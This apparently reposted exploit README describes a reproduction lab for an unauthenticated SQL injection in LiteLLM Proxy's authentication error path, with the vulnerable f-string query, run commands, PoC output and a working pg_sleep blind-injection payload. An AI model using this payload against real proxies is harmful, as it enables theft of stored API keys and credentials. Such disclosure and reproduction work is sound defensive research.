Share
## https://sploitus.com/exploit?id=18D75F8D-7FA6-5462-8891-8883AD614E31
# LiteLLM Proxy SQL Injection (GHSA-r75f-5x8p-qvmc)

A reproduction environment for the SQL injection vulnerability in LiteLLM Proxy's API key authentication flow.

## Vulnerability Summary

| Item | Detail |
|------|--------|
| Advisory | [GHSA-r75f-5x8p-qvmc](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc) |
| Type | SQL Injection (CWE-89) |
| Severity | Critical |
| Affected | litellm >=1.81.16, =1.83.7 (commit `4dc416ee74`) |

## Attack Path

The injection occurs in the **error-handling callback path**, not the main authentication flow. When a non-`sk-` prefixed token is sent, the assertion fails and the raw (unhashed) token flows through the failure callback chain into a SQL query that uses f-string interpolation:

```
HTTP request: Authorization: Bearer 
  โ†’ assert api_key.startswith("sk-") fails
  โ†’ _handle_authentication_error(api_key=RAW_TOKEN)
  โ†’ post_call_failure_hook
  โ†’ _enrich_failure_metadata_with_key_info
  โ†’ get_key_object(hashed_token=RAW_TOKEN)
  โ†’ get_data(token=RAW_TOKEN, table_name="combined_view")
  โ†’ SQL: WHERE v.token = '{RAW_TOKEN}'  โ† INJECTION
```

The main `sk-` authentication path is **not exploitable** because tokens are SHA256-hashed before reaching the query, producing only `[0-9a-f]` characters.

## Reproduction

### 1. Start the vulnerable environment

```bash
docker compose up -d
```

This starts LiteLLM Proxy (v1.83.3-stable) with a PostgreSQL backend.

### 2. Run the PoC

```bash
pip install requests
python poc_litellm_sqli.py --target http://localhost:4000 --delay 5
```

### Expected output

```
โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
โ•‘   LiteLLM Proxy SQL Injection PoC                        โ•‘
โ•‘   GHSA-r75f-5x8p-qvmc | CVE: Pending                    โ•‘
โ•‘   Affected: litellm >=1.81.16, <1.83.7                  โ•‘
โ•‘   Attack: time-based blind via error-handling callback    โ•‘
โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•

[*] Checking target: http://localhost:4000
[+] Target alive (status 200)

[*] Measuring baseline (3 requests)...
  Baseline avg: 0.022s

[*] Control: non-sk- token without pg_sleep...
  Control: 0.024s

=======================================================
  Time-based Blind SQL Injection (pg_sleep=5s)
=======================================================
  Payload: ' OR (SELECT 1 FROM (SELECT pg_sleep(5)) t) IS NOT NULL--
  Response: 5.018s

[+] VULNERABLE! pg_sleep(5) confirmed
```

![](./20260429-010503.jpg)

![](./20260429-010517.jpg)

## Technical Details

### Payload construction

PostgreSQL's `pg_sleep()` returns `void`, which cannot appear in a boolean context (`OR`). The payload wraps it in a subquery to avoid the type error:

```sql
' OR (SELECT 1 FROM (SELECT pg_sleep(N)) t) IS NOT NULL--
```

This is injected into the `combined_view` query in `litellm/proxy/utils.py`:

```python
# Vulnerable code (<=v1.83.3)
sql_query = f"""
    SELECT v.*, t.spend AS team_spend, ...
    FROM "LiteLLM_VerificationToken" AS v
    LEFT JOIN ...
    WHERE v.token = '{token}'   โ† f-string interpolation of user input
"""
```

### Impact

- **Unauthenticated** โ€” no valid API key required
- **Database read access** โ€” extract any data via blind injection (API keys, credentials, config)
- **All LLM provider keys** managed by the proxy are at risk

## References

- [GitHub Security Advisory](https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc)
- [Fix commit 4dc416ee74](https://github.com/BerriAI/litellm/commit/4dc416ee74)
- [Sysdig TRT threat intelligence report](https://sysdig.com/blog/litellm-critical-sql-injection-vulnerability-exploited-in-the-wild/) โ€” observed in-the-wild exploitation within 36 hours of disclosure